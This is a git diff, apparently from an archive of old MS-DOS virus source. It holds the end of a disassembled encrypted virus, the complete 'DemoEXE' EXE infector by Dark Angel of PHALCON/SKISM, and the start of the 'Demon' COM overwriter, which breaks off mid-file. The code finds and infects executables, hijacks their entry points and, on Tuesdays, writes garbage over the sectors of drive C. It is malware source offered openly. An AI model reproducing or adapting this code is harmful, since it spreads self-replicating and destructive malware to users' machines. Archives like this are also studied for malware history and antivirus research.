20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 50H, 07H, 72H + DB 07H, 65H, 07H, 73H, 07H, 73H + DB 07H, 20H, 07H, 61H, 07H, 6EH + DB 07H, 79H, 07H, 20H, 07H, 6BH + DB 07H, 65H, 07H, 79H, 07H, 20H + DB 07H, 74H, 07H, 6FH, 07H, 20H + DB 07H, 63H, 07H, 6FH, 07H, 6EH + DB 07H, 74H, 07H, 69H, 07H, 6EH + DB 07H, 75H, 07H, 65H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 01H +LOC_31: + CLI ; Disable interrupts + MOV BP,SP + CALL SUB_6 ; (24E7) + +; +; SUBROUTINE +; + +SUB_6 PROC NEAR + POP BX + SUB BX,131H + TEST BYTE PTR CS:COPYRIGHT+8[BX],1 ; (97DE:012A=74H) + JZ $+11H ; Jump if zero + LEA SI,[BX+14DH] ; Load effective addr + MOV SP,682H +LOC_32: + XOR [SI],SI + XOR [SI],SP + INC SI + DEC SP + JNZ LOC_32 ; Jump if not zero + OR AL,[BP+DI+4DH] + ADC AX,56CAH + PUSH DI + CLD ; Clear direction + POP SP + PUSH SI + PUSH SI + MOV BL,5CH ; '\' + INC SP + INC SI + INC DX + ADC WORD PTR DS:[0AA46H][BX+DI],DI ; (97DE:AA46=0FFFFH) + XLAT ; al=[al+[bx]] table + INC BP + XCHG AX,DI + PUSH AX + POP SS + INC DX + JGE $+5AH ; Jump if > or = + POP DX + DB 66H, 46H, 62H, 00H, 74H, 63H + DB 3AH, 21H, 6BH, 38H,0C9H,0B2H + DB 75H, 56H, 5AH,0B3H, 00H + DB 4FH, 42H, 42H, 46H, 46H +LOC_33: + POP DX + PUSH DX + PUSH SI + PUSH SI + PUSH DX + PUSH DX + DB 60H, 57H,0BEH, 5BH,0C2H + DB 27H, '""', 27H, '&&}YVRRVVZ[FFVVR' + DB 'R' + DB 0B2H, 5AH, 56H, 0DH,0D3H,0B9H + DB 0F5H, 57H, 74H,0D6H,0E9H, 32H + DB 63H, 4CH,0EFH,0E1H, 0CH, 5BH + DB 78H,0DDH,0D5H, 0AH, 57H,0F5H + DB 5AH, 5BH, 68H,0CCH,0C5H, 18H + DB 47H,0E4H, 58H, 5BH, 05H,0E2H + DB 62H, 9FH, 77H, 0DH, 66H, 58H + DB 0D4H,0B7H, 1AH, 5DH,0EDH +LOC_34: + XCHG AX,BP + MOVSW ; Mov [si] to es:[di] + DB 6AH,0A3H, 98H, 70H,0D0H,0AAH + DB 0FFH, 0CH, 2CH, 4AH, 37H, 57H + DB 0BAH, 5BH, 42H, 77H,0D2H,0D2H + DB 03H, 50H, 7FH,0AAH,0FAH, 0BH + DB 58H, 36H,0DDH +LOC_35: + INC AX + PUSH SP + TEST AL,44H ; 'D' + RCR BYTE PTR [BP+SI+7B0EH],CL ; Rotate thru carry + ESC 0,DH ; coprocessor escape + XOR AL,54H ; 'T' + JA LOC_34 ; Jump if above + RETN 4026H +SUB_6 ENDP + + STC ; Set carry flag + INC BP + MOV CH,0D7H + CWD ; Word to double word +;* JMP FAR PTR LOC_1 ;*(68D0:B15D) + DB 0EAH, 5DH,0B1H,0D0H, 68H + PUSH SS + PUSH SS + SUB AL,3EH ; '>' + MOVSB ; Mov [si] to es:[di] + POP SP + AND SI,[DI+77H] + SUB AL,4DH ; 'M' + DB 0D4H, 28H, 55H, 7FH, 75H, 20H + DB 54H,0D8H, 38H, 43H, 08H, 03H + DB 30H, 43H,0DAH, 24H, 5DH, 18H + DB 25H,0E6H,0EDH, 2EH, 59H,0D5H + DB 0A8H, 28H,0EFH,0A4H, 4BH,0EEH + DB 6FH, 4FH, 55H, 73H,0D8H, 67H + DB 54H, 55H, 7FH,0D2H, 53H, 46H + DB 41H, 67H,0E6H, 46H, 59H, 7FH + DB 93H, 53H, 51H, 51H, 18H, 7EH + DB 89H, 13H,0E0H,0A5H, 4AH,0E7H + DB 28H, 63H, 09H,0EEH, 06H,0DDH + DB 'w', 0DH, 'i@Q' + DB 15H,0CFH,0F9H, 88H, 5DH,0D1H + DB 0A1H,0EFH,0F7H, 54H,0ABH,0A5H + DB 0FEH, 5CH,0EBH,0E9H, 12H, 60H + DB 37H,0ADH, 74H,0D6H,0D9H, 02H + DB 53H,0DFH,0D9H, 7CH, 5BH,0A9H + DB 0E2H, 68H,0CEH, 4CH, 70H, 46H + DB 17H,0D4H, 93H, 70H,0DBH + DB 'DUV| &"x' + DB 00H,0AAH, 54H +LOC_36: + POP BX + PUSH SI + ADC BX,SP + XCHG AX,DI + DEC AX + PUSH CX + PUSH SP + INC BP + RETF ; Return far + DB 0F1H, 68H, 43H,0F9H, 46H, 5BH + DB 0E3H,0F3H, 50H,0AEH,0A1H,0F2H + DB 50H,0D7H, 5CH,0E2H, 64H, 32H + DB 0A9H + DB 'H\vVVR|' + DB 0DAH, 58H, 4CH, 5AH, 58H,0CBH + DB 54H, 5EH, 45H, 48H, 45H,0E2H + DB 77H, 73H, 9FH, 73H, 49H,0E2H + DB 40H,0E0H, 26H,0A6H, 6FH, 83H + DB 4EH, 55H, 5BH,0EFH, 7DH, 9AH + DB 72H,0D2H,0AEH, 93H, 5CH, 2CH + DB 22H, 33H, 69H,0C2H,0BEH,0FBH + DB 5CH, 2EH, 0AH, 49H,0EBH, 7BH + DB 62H, 9AH, 7AH, 75H,0EEH, 79H + DB 58H, 62H, 49H,0EBH, 5DH, 66H + DB 56H,0EFH, 7BH, 76H,0EDH + DB 'u\UXb\i' + DB 0C7H, 55H, 0CH, 56H, 5FH,0B8H + DB 55H,0C7H,0D7H,0A5H, 51H, 55H + DB 13H,0CBH, 5EH, 25H, 9FH, 43H + DB 4EH,0BFH,0D3H, 52H, 13H, 79H + DB 0F4H, 05H, 5AH, 69H,0E4H + DB '#Bi]?VVS' + DB 0EBH, 4BH, 62H, 96H, 7AH, 49H + DB 0EEH, 7DH, 50H, 66H, 49H,0D7H + DB 5DH, 62H, 56H, 4DH,0EBH, 4BH + DB 72H,0E1H,0E6H, 41H, 49H, 5CH + DB 8EH, 66H, 58H,0E0H, 8DH,0A8H + DB 0BEH,0C4H,0ADH,0D7H,0ABH, 10H + DB 2FH,0B7H, 88H, 5DH, 8CH, 91H + DB 0A7H,0E5H,0F0H, 03H, 78H, 96H + DB 54H, 61H, 57H,0D6H, 90H, 89H + DB 7AH,0BDH, 36H,0B7H, 7AH, 5AH + DB 2FH,0BEH,0CAH, 02H, 01H, 07H + DB 04H, 0CH, 0DH, 33H, 60H, 7CH + DB 4CH,0EFH, 70H, 1DH, 5BH, 78H + DB 0DAH, 4CH, 1BH, 57H, 58H, 5DH + DB 0E2H, 46H, 7BH, 8FH, 63H, 34H + DB 10H,0D1H, 82H,0EEH, 56H, 05H + DB 9FH, 77H, 78H,0D3H, 4CH, 65H + DB 27H, 0CH,0ABH, 28H, 63H, 5BH + DB 0EEH, 69H, 58H, 4DH,0E8H, 78H + DB 57H,0E3H + DB 'YFc0q}/e' + DB 0EEH, 50H, 10H, 65H, 9FH, 69H + DB 88H,0ABH, 47H, 4CH,0C1H, 2DH + DB 67H, 74H,0D3H, 40H, 1BH, 53H + DB 0E6H, 68H, 9BH, 7BH, 74H,0C7H + DB 78H, 6CH, 43H, 0BH, 1CH, 2FH + DB 59H,0BFH, 91H, 52H, 7CH,0D5H + DB 68H, 17H, 5BH,0A6H,0D1H,0ABH + DB 8CH, 27H, 98H, 11H, 5CH, 6AH + DB 0A8H, 23H, 56H,0B8H,0E2H, 5DH + DB 73H,0C1H, 7FH, 6BH, 44H,0A8H + DB 34H, 53H, 73H,0F0H, 1AH, 54H + DB 50H, 08H,0A8H, 73H, 66H, 67H + DB 4EH, 64H, 11H, 86H,0D9H, 5DH + DB 1EH, 7FH, 94H, 43H, 12H, 50H + DB 9CH, 7CH, 2FH, 9AH, 6FH,0CCH + DB 4BH, 00H, 40H,0DDH,0ACH, 71H + DB 0A7H, 94H, 72H, 25H, 58H,0E5H + DB 5CH, 62H, 12H,0ECH,0E8H, 00H + DB 53H, 98H,0E5H, 53H, 6CH, 98H + DB 74H, 23H,0EFH,0D6H, 85H,0F9H + DB 43H, 07H, 76H, 88H, 72H, 8FH + DB 90H, 70H,0B9H, 05H, 56H, 22H + DB 49H,0E5H, 5DH, 23H, 4FH,0EEH + DB 6BH, 2CH, 60H, 73H,0D6H, 47H + DB 1AH, 54H, 98H, 70H,0E5H, 1DH + DB 6EH, 88H, 8CH, 64H,0AEH, 60H + DB 0D1H,0E5H, 5DH, 13H, 62H, 9CH + DB 66H, 83H, 9CH, 7CH, 2FH,0B4H + DB 80H, 0BH,0E1H,0AFH,0ABH,0ACH + DB 0ADH, 70H,0FDH, 0AH, 5BH,0EAH + DB 1EH,0E8H, 1DH, 4FH,0F7H, 49H + DB 4AH, 83H, 6FH,0EAH, 53H, 09H + DB 70H,0D1H, 4CH, 1DH, 5FH, 7CH + DB 0D9H, 60H, 2BH, 6BH,0A7H, 4FH + DB 0DAH, 6CH, 9FH, 7FH, 70H,0D1H + DB 54H, 1FH, 5FH,0A4H, 93H, 49H + DB 3BH, 4FH,0BCH, 8FH, 6EH, 27H + DB 58H,0E6H, 5FH, 19H, 74H, 9BH + DB 48H, 15H, 53H,0E3H, 0FH, 35H + DB 2DH, 73H, 71H, 0CH, 08H, 07H + DB 05H, 02H,0C7H,0B7H,0ECH,0ACH + DB 4CH, 40H, 51H, 19H, 1BH, 1CH + DB 1EH,0EBH, 55H, 5EH,0E5H, 2EH + DB 5BH,0A1H, 69H,0D9H, 15H, 90H + DB 7FH + DB 'm!%', 0AH, 'OY' + DB 0D1H, 4DH, 06H, 55H, 92H, 26H + DB 4CH,0B9H,0A8H,0C1H, 8CH, 14H + DB 0BH, 09H, 41H, 9DH, 44H, 5CH + DB 08H, 09H, 03H, 5CH,0A9H, 17H + DB 0EAH,0AAH, 20H, 77H,0EDH, 35H + DB 5EH,0E1H, 37H, 5BH,0E6H, 57H + DB 53H,0AFH,0BCH,0EAH, 12H, 14H + DB 11H, 48H, 4CH, 90H, 09H, 41H + DB 09H,0D1H, 99H,0A9H, 75H, 01H + DB 6EH,0D9H, 6BH, 68H,0ADH,0BEH + DB 0B3H, 50H, 59H, 05H, 5AH,0D0H + DB 0AFH,0A9H, 55H, 07H, 4EH,0B0H + DB 0C5H, 55H, 17H, 4EH, 27H, 41H + DB 0E5H, 85H, 58H,0A1H,0B3H,0F7H + DB 5BH, 26H, 26H, 87H, 2AH, 5EH + DB 0D8H,0C3H,0FBH, 52H, 2BH,0A4H + DB 0F6H,0A0H, 05H, 40H, 0DH, 90H + DB 18H, 49H, 19H, 18H,0C4H, 97H + DB 0D9H, 95H,0A9H, 79H, 09H, 5AH + DB 0E9H, 5FH, 50H, 91H,0BEH, 8FH + DB 68H, 6DH, 35H, 6EH,0D8H,0ABH + DB 0A9H, 59H, 0FH, 5AH,0A0H,0D1H + DB 55H, 0BH, 4EH, 3BH, 59H,0F1H + DB 95H, 4CH,0A9H,0BFH,0F7H, 57H + DB 2EH, 52H,0F7H, 5EH, 26H,0A4H + DB 43H, 06H,0ABH,0DEH, 55H, 25H + DB 91H,0F8H,0A5H, 05H, 00H, 5DH + DB 01H, 9DH, 03H, 03H,0C5H, 40H + DB 16H, 4BH,0ACH,0B0H, 0BH,0B0H + DB 0A8H, 07H, 99H, 0AH,0BAH, 3FH + DB 66H, 50H, 4AH, 90H, 8CH, 0BH + DB 36H,0ADH + DB 'nR*Tfz*Xn' + DB 0ADH, 3AH, 4CH,0B2H, 89H,0B7H + DB 8DH, 6EH,0E2H, 2CH, 58H, 66H + DB 85H, 29H, 5CH,0ABH, 91H,0D6H + DB 0EDH, 34H, 92H, 6EH, 2EH,0DCH + DB 8AH,0A5H,0FFH, 36H, 5AH, 65H + DB 58H, 3EH, 52H, 3AH,0B4H, 79H + DB 83H,0EFH, 22H, 52H, 13H + DB '*Ka\2^&q' + DB 0E5H,0ABH, 59H,0BCH,0D7H, 5DH + DB 52H,0A9H,0AFH, 74H,0F9H, 02H + DB 5FH, 91H, 1BH,0A5H,0A0H, 8CH + DB 4CH, 1DH, 4FH, 4AH, 4CH,0E6H + DB 1EH, 5AH,0D4H, 86H,0FFH, 1CH + DB 52H,0B1H, 0DH,0F0H,0ABH, 1CH + DB 51H,0EAH, 61H, 4CH,0EAH, 59H + DB 5FH, 08H, 90H, 41H, 0CH, 4AH + DB 0CDH,0B3H,0B6H, 39H, 49H,0D9H + DB 47H, 0EH, 5CH,0EDH, 56H, 90H + DB 4DH,0D9H, 77H, 3FH, 6CH,0AFH + DB 6FH, 39H, 6CH, 51H, 96H, 5BH + DB 05H, 58H, 59H,0EDH, 61H, 56H + DB 25H, 7BH, 3FH, 4AH,0A0H,0ADH + DB 4DH, 96H, 57H, 05H, 5CH, 59H + DB 0E1H, 61H, 5EH, 26H, 76H, 11H + DB 2FH, 5BH, 0AH,0EBH, 2BH, 05H + DB 50H, 5CH,0FDH, 0AH, 58H,0A3H + DB 9DH,0A7H, 77H, 1FH, 4CH,0EAH + DB 2BH, 4CH,0ECH + DB '5Pf[;X+^' + DB 0F0H, 33H, 6CH, 85H, 02H, 97H + DB 2DH,0E6H,0A1H, 62H,0A2H, 1AH + DB 0F8H, 3BH, 5CH, 8CH,0B1H, 6AH + DB 0B5H, 3BH, 4AH,0A0H,0EDH, 4DH + DB 0D1H, 5FH, 0AH, 5CH, 5BH,0F9H + DB 0FH, 5CH,0E5H, 51H, 45H,0E2H + DB 54H, 20H, 7EH, 0EH, 01H, 53H + DB 0EAH, 5EH,0B2H, 18H,0A0H,0D4H + DB 0A2H,0BAH,0C8H,0B0H,0A2H, 5BH + DB 0B1H, 3CH, 80H,0BAH, 42H,0A1H + DB 28H, 97H,0FCH, 0BH, 53H,0DAH + DB 48H, 38H, 6BH,0E0H, 60H, 3DH + DB 53H,0E7H + DB '^`h', 0DH, 'S%' + DB 1CH,0A6H, 2EH,0B4H, 74H, 68H + DB 04H, 53H, 2BH, 17H,0B2H,0B3H + DB 0A0H, 2CH, 7AH,0BAH,0DAH,0D0H + DB 58H, 15H,0D0H,0E8H, 68H, 64H + DB 0DH, 5FH, 2DH, 6DH,0B6H, 17H + DB 0ACH, 68H, 68H, 18H, 4BH, 3FH + DB 60H,0A6H, 9CH,0ACH, 2DH,0BBH + DB 0B2H,0E4H,0A0H,0A0H, 9CH,0BAH + DB 58H, 90H,0C8H, 3FH, 6FH, 90H + DB 94H,0D2H, 78H, 09H, 5BH,0A7H + DB 0A0H, 90H,0E2H, 72H,0A6H, 13H + DB 0B4H,0B4H, 88H,0EEH, 07H, 53H + DB 0B6H, 0BH,0A4H,0B9H, 5AH,0B6H + DB 0DCH,0ACH,0E7H, 45H, 0CH, 5CH + DB 0A8H,0F9H, 53H, 51H, 2BH, 5CH + DB 0B2H, 07H,0A0H,0B7H,0D8H,0ADH + DB 01H, 3BH, 48H,0A2H, 1EH,0B0H + DB 0B7H, 32H, 7BH,0A3H,0BDH + DB 3AH, 9CH +LOC_37: + JNO $-59H ; Jump if not overflw + PUSH BP + CMP [BP+62H],CH + PUSH DS + AAA ; Ascii adjust + INC CX + RCR WORD PTR [DI+8],CL ; Rotate thru carry + POP SI + POP DX + JNZ $-5EH ; Jump if not zero + PUSH CX + OR AX,3A52H + OR DL,[DI+4DH] + INC CX + PUSH AX + POP BP + PUSH SP +;* POP CS ; Dangerous 8088 only + DB 0FH + OR AL,0AH + OR [BX+DI],CX + OR BYTE PTR DS:[0FE3H],AL ; (97DE:0FE3=7) + DB 0C9H, 0BH + DB 'O.nk[,X' + DB 0E3H, 67H, 5BH,0BBH, 2DH,0B2H + DB 0FH,0E8H, 15H, 4EH,0ECH + DB 33H, 52H +LOC_38: + MOV BH,0C8H + MOVSW ; Mov [si] to es:[di] + JCXZ $+5EH ; Jump if cx=0 + POP DI + MOV BX,923DH + DAS ; Decimal adjust + PUSHF ; Push flags + DEC BP + OR BP,[BP+20H] + PUSH AX + OUT 0A0H,AX ; port 0A0H, initialize, 4 byte + MOVSB ; Mov [si] to es:[di] + CLC ; Clear carry flag + CMP BX,[BP+0EH] + OR AL,11H + ADC AX,1012H + POP SS + DEC AX + DEC SP + JGE LOC_38 ; Jump if > or = + JNS $+0EH ; Jump if not sign + POP DX + MOV AX,DS:DATA_17E ; (97DE:AC71=0FFFFH) + JGE LOC_37 ; Jump if > or = + SCASW ; Scan es:[di] for ax + TEST BL,[SI-58H] + STC ; Set carry flag + PUSH BX + POP DX + SUB AL,[BP+DI+0AH] + OR CX,[SI] + JMP FAR PTR $+746BH + MOV BL,8EH + DEC CX + CMP AL,5FH ; '_' + AND AX,0DE5BH + MOVSB ; Mov [si] to es:[di] + PUSH AX + SUB AL,58H ; 'X' + JL $-2CH ; Jump if < + DEC AX + CMP [BP+DI-63H],BP + XOR AL,37H ; '7' + OR BH,[SI-5FH] + JO $+63H ; Jump if overflow=1 + POP BX + POP AX + OR AX,1AE6H + CMC ; Complement carry + AND AX,874AH + DB 6FH, 15H + DB '!QYtXRS/' + DB 0EAH, 24H, 31H, 1DH,0ADH,0ECH + DB 5EH, 5FH,0E3H,0FFH, 58H,0A2H + DB 0A1H,0F6H,0F1H, 6DH, 4AH,0F4H + DB 6DH, 4FH, 51H, 64H, 15H, 5FH + DB 0E3H,0D8H + DB 'XxcgH_g-(' + DB 0DCH, 86H,0EAH, 1AH, 69H, 8CH + DB 0E7H,0F7H, 54H, 83H, 6FH,0D6H + DB 1AH,0FAH, 07H, 9FH, 73H, 06H + DB 0C3H, 54H, 45H, 2CH,0E4H, 69H + DB 93H,0DBH, 18H,0ADH + DB 52H, 6DH + +SEG_A ENDS + + + + END START diff --git a/MSDOS/Virus.MSDOS.Unknown.demoexe.asm b/MSDOS/Virus.MSDOS.Unknown.demoexe.asm new file mode 100644 index 00000000..5eb3ee5b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.demoexe.asm @@ -0,0 +1,151 @@ + .model tiny ; Handy TASM directive + .code ; Virus code segment + org 100h ; COM file starting IP + ; Cheesy EXE infector + ; Written by Dark Angel of PHALCON/SKISM + ; For 40Hex Number 8 Volume 2 Issue 4 + id = 'DA' ; ID word for EXE infections + startvirus: ; virus code starts here + call next ; calculate delta offset + next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw + movsw + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + lea dx,[bp+exe_mask] + mov ah,4eh ; find first file + mov cx,7 ; any attribute + findfirstnext: + int 21h ; DS:DX points to mask + jc done_infections ; No mo files found + mov al,0h ; Open read only + call open + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + mov ah,3eh ; Close file + int 21h + checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe + find_next: + mov ah,4fh ; find next file + jmp short findfirstnext + done_infections: + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + pop es + pop ds ; DS->PSP + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[si+jmpsave+2],ax + add ax,word ptr cs:[si+stacksave+2] + cli ; Clear intrpts for stack manip. + mov sp,word ptr cs:[si+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo + jmpsave dd ? ; Original CS:IP + stacksave dd ? ; Original SS:SP + jmpsave2 dd 0fff00000h ; Needed for carrier file + stacksave2 dd ? + creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0 + virusname db '[DemoEXE] for 40Hex',0 + infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + mov cx, 10h ; Convert to segment:offset + div cx ; form + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + pop dx ; get file length + pop ax + add ax, heap-startvirus ; add virus size + adc dx, 0 + mov cl, 9 ; 2**9 = 512 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax ; filesize in pages + pop ax + and ah, 1 ; mod 512 + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + push cs ; restore ES + pop es + mov cx, 1ah + finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + mov al,2 + call open + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + mov ah,40h ; Concatenate virus + lea dx,[bp+startvirus] + mov cx,heap-startvirus ; # bytes to write + int 21h + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + mov ah,3eh ; Close file + int 21h + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + mo_infections: jmp find_next + open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + exe_mask db '*.exe',0 + heap: ; Variables not in code + newDTA db 42 dup (?) ; Temporary DTA + buffer db 1ah dup (?) ; read buffer + endheap: ; End of virus + end startvirus diff --git a/MSDOS/Virus.MSDOS.Unknown.demon.asm b/MSDOS/Virus.MSDOS.Unknown.demon.asm new file mode 100644 index 00000000..b7c2f3bf --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.demon.asm @@ -0,0 +1,136 @@ +Dt: 19-Oct-91 04:19 + +By: Skin Head +To: All +Re: New Source Code + +;========== Demon virus ==================================== 22.09.91 ======== +; +; Assemble and link with: TASM DEMON.VIR +; TLINK DEMON /X/T +; Infect all .COM programs in current directory with: DEMON +; +; !!! NOT ON A TUESDAY !!! +; +;-------------- Constants and structures + +Tuesday = 2 ; INT 21h, AH=2Ah + +Search_Rec struc ; directory search record + db 21 dup (?) ; reserved for DOS + FileAttr db ? ; file attribute + FileTime dw ? ; packed file time + FileDate dw ? ; packed file date + FileSize dd ? ; long file size + FileName db 13 dup (?) ; ASCIIZ FILENAME.EXT +Search_Rec ends + +;-------------- Demon virus segment + +Virus segment + assume cs:Virus,ds:Virus,es:Virus,ss:Virus + + org 0080h +DTA Search_Rec <> ; disk transfer area + + org 0100h +Demon: ; virus entry point +Virus_Size = Virus_End - Demon ; virus size = 272 bytes + + mov dx,offset All_COM ; find first .COM file, + mov ah,4eh ; including hidden/system + mov cx,110bh + int 21h + nop + jnc Infect ; abort if no files found + jmp short Check_Day +Infect: call Replicate ; overwrite first 272 bytes + mov dx,offset DTA + mov ah,4fh ; find next .COM file, + int 21h ; go check day if none found + nop ; else repeat + jnc Next_File + jmp short Check_Day +Next_File: jmp Infect +Check_Day: mov ah,2ah ; get DOS date, check day + int 21h + cmp al,Tuesday ; Tuesday ? + je Thrash_Drive ; if yes, thrash drive C: + mov ah,4ch ; else exit to DOS + int 21h + +Thrash_Drive: mov Counter,0 ; overwrite first 160 sectors + jmp Write_Sectors ; of drive C: with garbage +Write_Sectors: mov al,Drive_C ; Error: doesn't work ! + mov cx,160 ; AL=C:, CX=160 sectors + mov dx,0 ; DX=highest sector in drive ! + mov bx,0 ; DS:BX=start of PSP area + int 26h ; overwrite sectors + inc Counter + cmp Counter,10 ; repeat 10 times + je Show_Msg + jne Write_Sectors +Show_Msg: mov ah,09h ; show a fake error message + mov dx,offset Virus_Msg ; and exit to DOS + int 21h + mov ah,4ch + int 21h + +Replicate: mov dx,offset DTA.FileName ; save file attribute + mov ax,4300h + int 21h + mov COM_Attr,cx + nop + xor cx,cx ; unprotect the .COM file + mov ax,4301h ; in case it's read-only + int 21h + nop + mov ax,3d02h ; open .COM file for R/W, + int 21h ; abort on error + nop + jc Check_Day + mov bx,ax ; BX 